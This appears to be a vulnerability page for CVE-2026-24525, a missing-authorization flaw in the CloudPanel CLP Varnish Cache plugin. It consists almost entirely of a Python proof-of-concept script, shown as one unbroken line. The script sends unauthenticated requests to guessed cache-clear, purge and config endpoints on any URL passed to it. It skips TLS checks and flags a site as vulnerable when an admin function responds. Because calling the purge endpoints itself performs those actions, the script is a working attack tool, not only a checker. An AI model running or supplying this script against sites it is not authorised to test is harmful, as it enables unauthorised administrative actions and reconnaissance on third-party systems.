CVE-2026-24525 CloudPanel CLP Varnish Cache访问控制配置错误漏洞

# CVE-2026-24525 PoC - Missing Authorization in clp-varnish-cache # Target: CloudPanel CLP Varnish Cache <= 1.0.2 # This PoC demonstrates accessing admin functions without authentication import requests import sys def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2026-24525 """ # Common CloudPanel Varnish Cache endpoints endpoints = [ "/?clp_varnish_cache_clear=1", "/?clp_varnish_cache_purge_all=1", "/wp-admin/admin-ajax.php?action=clp_varnish_cache_clear", "/wp-admin/admin-ajax.php?action=clp_varnish_cache_config", "/clp-varnish-cache/admin/clear_cache.php", "/clp-varnish-cache/admin/config.php" ] print(f"[*] Testing target: {target_url}") print(f"[*] Checking for CVE-2026-24525 vulnerability\n") for endpoint in endpoints: try: url = target_url.rstrip('/') + endpoint # Send request without authentication cookies headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) PoC-Tester/1.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' } response = requests.get(url, headers=headers, timeout=10, verify=False) print(f"[+] Endpoint: {endpoint}") print(f" Status Code: {response.status_code}") # Check if the response indicates successful access without auth if response.status_code == 200: if 'cache' in response.text.lower() or 'varnish' in response.text.lower(): print(f" [!] VULNERABLE: Admin function accessible without authentication!") else: print(f" [?] Response received, manual verification needed") print() except requests.exceptions.RequestException as e: print(f"[-] Error testing {endpoint}: {e}\n") print("[*] Testing complete. If any endpoints show VULNERABLE status,") print("[*] the system is affected by CVE-2026-24525.") print("[*] Recommendation: Upgrade clp-varnish-cache to version > 1.0.2") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-24525_poc.py <target_url>") print("Example: python cve-2026-24525_poc.py https://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)